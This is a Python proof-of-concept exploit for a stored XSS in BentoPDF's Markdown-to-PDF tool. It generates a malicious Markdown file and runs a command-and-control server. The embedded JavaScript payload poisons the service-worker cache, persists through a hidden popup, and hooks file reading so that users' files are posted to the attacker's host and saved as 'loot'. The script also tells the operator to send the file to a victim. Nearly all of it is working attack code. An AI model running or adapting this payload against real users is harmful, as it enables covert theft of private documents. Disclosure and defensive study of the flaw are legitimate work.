#!/usr/bin/env python3
import argparse
import json
import os
import re
import sys
from datetime import datetime
from http.server import HTTPServer, BaseHTTPRequestHandler

RED    = "\033[91m"
GREEN  = "\033[92m"
YELLOW = "\033[93m"
BLUE   = "\033[94m"
WHITE  = "\033[97m"
BOLD   = "\033[1m"
RESET  = "\033[0m"

LOOT = os.path.join(os.path.dirname(os.path.abspath(__file__)), "loot")

_log_file = None
_ANSI_RE  = re.compile(r'\x1b\[[0-9;]*m')

def _print(msg):
    print(msg)
    if _log_file:
        _log_file.write(_ANSI_RE.sub('', msg) + '\n')
        _log_file.flush()

PAYLOAD_TEMPLATE = r"""(async function(){
  var C2 = '__C2_URL__';

  function report(endpoint, data) {
    fetch(C2 + endpoint, {
      method: 'POST', mode: 'cors',
      headers: {'Content-Type': 'application/json'},
      body: JSON.stringify(data)
    }).catch(function(){});
  }

  var _origWasm = localStorage.getItem('bentopdf:wasm-providers');
  var wasmPayload = {
    pymupdf:     C2 + '/wasm/pymupdf/',
    ghostscript: C2 + '/wasm/gs/',
    cpdf:        C2 + '/wasm/cpdf/'
  };
  localStorage.setItem('bentopdf:wasm-providers', JSON.stringify(wasmPayload));

  report('/hijack', {
    stage: 'wasm_hijack',
    victim: location.href,
    ts: new Date().toISOString()
  });

  if (_origWasm !== null) {
    localStorage.setItem('bentopdf:wasm-providers', _origWasm);
  } else {
    localStorage.removeItem('bentopdf:wasm-providers');
  }

  if (window.isSecureContext && typeof caches !== 'undefined' && 'serviceWorker' in navigator) {
    try {
      var reg = await navigator.serviceWorker.register('/sw.js');
      var sw = reg.installing || reg.waiting || reg.active;
      if (sw && sw.state !== 'activated') {
        await new Promise(function(resolve) {
          sw.addEventListener('statechange', function() {
            if (sw.state === 'activated') resolve();
          });
          if (sw.state === 'activated') resolve();
        });
      }
      if (reg.waiting) {
        reg.waiting.postMessage({ type: 'SKIP_WAITING' });
        await new Promise(function(r){ setTimeout(r, 300); });
      }
      report('/sw', { stage: 'sw_registered', scope: reg.scope });

      var HOOK = ';(function(){if(window.__BENTO_EXFIL__)return;window.__BENTO_EXFIL__=1;var C2="__C2_URL__";var _r=FileReader.prototype.readAsArrayBuffer;FileReader.prototype.readAsArrayBuffer=function(b){var n=b.name||"blob_"+Date.now();b.arrayBuffer().then(function(a){fetch(C2+"/file?name="+encodeURIComponent(n),{method:"POST",mode:"cors",body:a}).catch(function(){})});return _r.call(this,b)};document.addEventListener("change",function(e){var t=e.target;if(t&&t.type==="file"&&t.files){for(var i=0;i<t.files.length;i++){(function(f){f.arrayBuffer().then(function(a){fetch(C2+"/file?name="+encodeURIComponent(f.name),{method:"POST",mode:"cors",body:a}).catch(function(){});});})(t.files[i])}}},true);fetch(C2+"/beacon",{method:"POST",mode:"cors",headers:{"Content-Type":"application/json"},body:JSON.stringify({page:location.href,ts:new Date().toISOString()})}).catch(function(){});})();';

      var jsUrls = new Set();
      document.querySelectorAll('script[src]').forEach(function(s) {
        if (s.src.includes('/assets/')) jsUrls.add(s.src);
      });
      var tools = ['','compress-pdf','merge-pdf','split-pdf','rotate-pdf',
                   'pdf-to-png','pdf-to-jpg','tools','markdown-to-pdf'];
      for (var i = 0; i < tools.length; i++) {
        try {
          var path = tools[i] ? '/' + tools[i] + '.html' : '/';
          var resp = await fetch(path);
          var html = await resp.text();
          var re = /src="([^"]*\/assets\/[^"]*\.js)"/g;
          var m;
          while ((m = re.exec(html)) !== null) {
            jsUrls.add(new URL(m[1], location.origin).href);
          }
        } catch(e) {}
      }

      var cacheNames = await caches.keys();
      var cacheName = cacheNames.find(function(n){ return n.startsWith('bentopdf-'); })
                      || 'bentopdf-v10-static';
      var cache = await caches.open(cacheName);
      var poisoned = 0;
      for (var url of jsUrls) {
        try {
          var r = await fetch(url);
          var txt = await r.text();
          if (txt.includes('__BENTO_EXFIL__')) continue;
          await cache.put(url, new Response(txt + '\n' + HOOK, {
            status: 200,
            headers: { 'Content-Type': 'application/javascript; charset=utf-8' }
          }));
          poisoned++;
        } catch(e) {}
      }
      report('/poison', { stage: 'cache_poisoned', scripts: poisoned, cache: cacheName });
    } catch(e) {
      report('/sw', { stage: 'sw_failed', error: e.message });
    }
  }

  var popupCode = [
    '<html><head><title>.</title></head><body><script>',
    'var C2 = "__C2_URL__";',
    'var target = window.opener;',
    'function inject() {',
    '  try {',
    '    if (!target || target.closed) { window.close(); return; }',
    '    if (target.__BENTO_EXFIL__) return;',
    '    target.__BENTO_EXFIL__ = 1;',
    '    var _r = target.FileReader.prototype.readAsArrayBuffer;',
    '    target.FileReader.prototype.readAsArrayBuffer = function(b) {',
    '      var n = b.name || "blob_" + Date.now();',
    '      b.arrayBuffer().then(function(a) {',
    '        fetch(C2 + "/file?name=" + encodeURIComponent(n),',
    '          {method:"POST", mode:"cors", body:a}).catch(function(){});',
    '      });',
    '      return _r.call(this, b);',
    '    };',
    '    target.document.addEventListener("change", function(e) {',
    '      var t = e.target;',
    '      if (t && t.type === "file" && t.files) {',
    '        for (var i = 0; i < t.files.length; i++) {',
    '          (function(f) {',
    '            f.arrayBuffer().then(function(a) {',
    '              fetch(C2 + "/file?name=" + encodeURIComponent(f.name),',
    '                {method:"POST", mode:"cors", body:a}).catch(function(){});',
    '            });',
    '          })(t.files[i]);',
    '        }',
    '      }',
    '    }, true);',
    '    fetch(C2 + "/beacon", {method:"POST", mode:"cors",',
    '      headers:{"Content-Type":"application/json"},',
    '      body: JSON.stringify({page:target.location.href, ts:new Date().toISOString()})',
    '    }).catch(function(){});',
    '  } catch(e) {',
    '    target.__BENTO_EXFIL__ = 0;',
    '  }',
    '}',
    'setInterval(function() {',
    '  try {',
    '    if (target && !target.closed && !target.__BENTO_EXFIL__) inject();',
    '  } catch(e) {}',
    '}, 1000);',
    'inject();',
    '<\/script></body></html>'
  ].join('\n');

  var popup = window.open('about:blank', '_bentopdf_helper', 'width=1,height=1,left=-100,top=-100');
  if (popup) {
    popup.document.write(popupCode);
    popup.document.close();
    try { popup.blur(); window.focus(); } catch(e) {}
    report('/persist', {
      stage: 'popup_opened',
      victim: location.href
    });
  }

  if (!window.__BENTO_EXFIL__) {
    window.__BENTO_EXFIL__ = 1;

    var _origRead = FileReader.prototype.readAsArrayBuffer;
    FileReader.prototype.readAsArrayBuffer = function(blob) {
      var fname = blob.name || 'unknown_' + Date.now();
      blob.arrayBuffer().then(function(buf) {
        fetch(C2 + '/file?name=' + encodeURIComponent(fname), {
          method: 'POST', mode: 'cors', body: buf
        }).catch(function(){});
      });
      return _origRead.call(this, blob);
    };

    document.addEventListener('change', function(e) {
      if (e.target && e.target.type === 'file' && e.target.files) {
        Array.from(e.target.files).forEach(function(f) {
          f.arrayBuffer().then(function(buf) {
            fetch(C2 + '/file?name=' + encodeURIComponent(f.name), {
              method: 'POST', mode: 'cors', body: buf
            }).catch(function(){});
          });
        });
      }
    }, true);
  }

  report('/complete', {
    stage: 'all_stages_done',
    secure_context: window.isSecureContext,
    sw_available: 'serviceWorker' in navigator,
    caches_available: typeof caches !== 'undefined',
    popup: !!popup,
    victim: location.href,
    ts: new Date().toISOString()
  });

})();
"""

_generated_payload = b""


class C2Handler(BaseHTTPRequestHandler):

    def log_message(self, format, *args):
        pass

    def _ts(self):
        return datetime.now().strftime("%H:%M:%S")

    def _cors(self):
        self.send_header("Access-Control-Allow-Origin", "*")
        self.send_header("Access-Control-Allow-Methods", "GET, POST, OPTIONS")
        self.send_header("Access-Control-Allow-Headers", "Content-Type")
        self.send_header("Cross-Origin-Resource-Policy", "cross-origin")

    def _respond(self, code=200, body=b"ok", content_type="text/plain"):
        self.send_response(code)
        self._cors()
        self.send_header("Content-Type", content_type)
        self.end_headers()
        self.wfile.write(body)

    def do_OPTIONS(self):
        self.send_response(204)
        self._cors()
        self.end_headers()

    def do_GET(self):
        if self.path == "/poc_payload.js":
            _print(f"  {BLUE}[{self._ts()}] PAYLOAD SERVED{RESET}  ->  {self.client_address[0]}")
            self._respond(200, _generated_payload, "application/javascript; charset=utf-8")
            return

        if "data=" in self.path:
            import base64
            b64 = self.path.split("data=", 1)[1]
            try:
                decoded = base64.b64decode(b64).decode()
                _print(f"  {YELLOW}[{self._ts()}] GET EXFIL{RESET}  {decoded[:200]}")
            except Exception:
                pass

        self._respond(200)

    def do_POST(self):
        length = int(self.headers.get("Content-Length", 0))
        body = self.rfile.read(length) if length else b""

        path = self.path.split("?")[0]

        if path == "/file":
            fname = "unknown"
            if "name=" in self.path:
                fname = self.path.split("name=", 1)[1].split("&")[0]
                from urllib.parse import unquote
                fname = unquote(fname)
            safe = fname.replace("/", "_").replace("\\", "_")
            outpath = os.path.join(LOOT, f"{datetime.now().strftime('%H%M%S')}_{safe}")
            with open(outpath, "wb") as f:
                f.write(body)
            kb = len(body) / 1024
            _print(f"  {RED}{BOLD}[{self._ts()}] FILE EXFILTRATED{RESET}  "
                   f"{fname} ({kb:.1f} KB)  ->  {outpath}")

        elif path == "/hijack":
            self._print_json("WASM HIJACK", GREEN, body)

        elif path == "/sw":
            self._print_json("SERVICE WORKER", BLUE, body)

        elif path == "/poison":
            self._print_json("CACHE POISONED", RED, body)

        elif path == "/beacon":
            self._print_json("BEACON", YELLOW, body)

        elif path == "/complete":
            self._print_json("PAYLOAD COMPLETE", GREEN, body)

        else:
            _print(f"  [{self._ts()}] POST {self.path}  ({len(body)} bytes)")

        self._respond(200)

    def _print_json(self, label, color, body):
        try:
            data = json.loads(body.decode()) if body else {}
            detail = json.dumps(data, indent=2)
        except Exception:
            detail = body.decode() if body else ""
        _print(f"  {color}{BOLD}[{self._ts()}] {label}{RESET}")
        for line in detail.split("\n"):
            _print(f"    {line}")


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-41653 PoC by Astaruf (https://nstsec.com): BentoPDF <= 2.8.1 - Markdown-to-PDF Stored XSS -> File Exfiltration"
    )
    parser.add_argument(
        "--lhost", required=True,
        help="Attacker IP reachable by the victim's browser (e.g. 192.168.1.10)"
    )
    parser.add_argument(
        "--lport", type=int, default=9999,
        help="Listening port (default: 9999)"
    )
    parser.add_argument(
        "--loot-dir", default=None,
        help="Directory where exfiltrated files are saved (default: ./loot/)"
    )
    parser.add_argument(
        "--log-file", default=None, metavar="FILE",
        help="Append all events to FILE in addition to stdout (ANSI codes stripped)"
    )
    parser.add_argument(
        "--no-color", action="store_true",
        help="Disable ANSI colors in terminal output"
    )
    args = parser.parse_args()

    global _generated_payload, LOOT, _log_file
    global RED, GREEN, YELLOW, BLUE, WHITE, BOLD, RESET

    if args.no_color:
        RED = GREEN = YELLOW = BLUE = WHITE = BOLD = RESET = ""

    if args.log_file:
        _log_file = open(args.log_file, "a", encoding="utf-8")

    if args.loot_dir:
        LOOT = os.path.abspath(args.loot_dir)
    os.makedirs(LOOT, exist_ok=True)

    c2_url = f"http://{args.lhost}:{args.lport}"
    _generated_payload = PAYLOAD_TEMPLATE.replace("__C2_URL__", c2_url).encode()

    print(f"""{WHITE}{BOLD}
 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██╗  ██████╗  ███████╗ ██████╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ███║ ██╔════╝  ██╔════╝ ╚════██╗
██║     ██║   ██║█████╗   -2026- ███████║ ╚██║ ███████╗  ███████╗  █████╔╝
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║  ██║ ██╔══██║  ╚════██║  ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗             ██║  ██║ ╚██████║  ███████║ ██████╔╝
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝  ╚═╝  ╚═════╝  ╚══════╝ ╚═════╝
{RESET}
  {YELLOW}BentoPDF <= 2.8.1 - Markdown-to-PDF Stored XSS -> File Exfiltration{RESET}
  {YELLOW}PoC by Astaruf (https://nstsec.com){RESET}
""")

    xss_trigger = (
        f'<img src=x onerror="var s=document.createElement(\'script\');'
        f's.src=\'{c2_url}/poc_payload.js\';document.head.appendChild(s)">'
    )

    md_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "poc_report.md")
    with open(md_path, "w", encoding="utf-8") as f:
        f.write(f"# Report\n\n{xss_trigger}\n")

    print(f"{BOLD}{'='*60}{RESET}")
    print(f"  Exfiltration server: {GREEN}{c2_url}{RESET}")
    print(f"  Payload: {GREEN}{c2_url}/poc_payload.js{RESET}")
    print(f"  Loot dir: {LOOT}")
    print(f"{BOLD}{'='*60}{RESET}")
    print(f"\n  Malicious .md file ready:")
    print(f"  {GREEN}{md_path}{RESET}")
    print(f"\n  Send it to the victim and ask them to open it in")
    print(f"  BentoPDF -> Markdown-to-PDF tool.")
    print(f"  The payload fires as soon as the preview renders.\n")
    print(f"{BOLD}{'='*60}{RESET}\n")
    print(f"  Waiting for victims...\n")

    srv = HTTPServer(("0.0.0.0", args.lport), C2Handler)
    try:
        srv.serve_forever()
    except KeyboardInterrupt:
        print(f"\n  {YELLOW}[*] Stopped.{RESET}")
    finally:
        if _log_file:
            _log_file.close()


if __name__ == "__main__":
    main()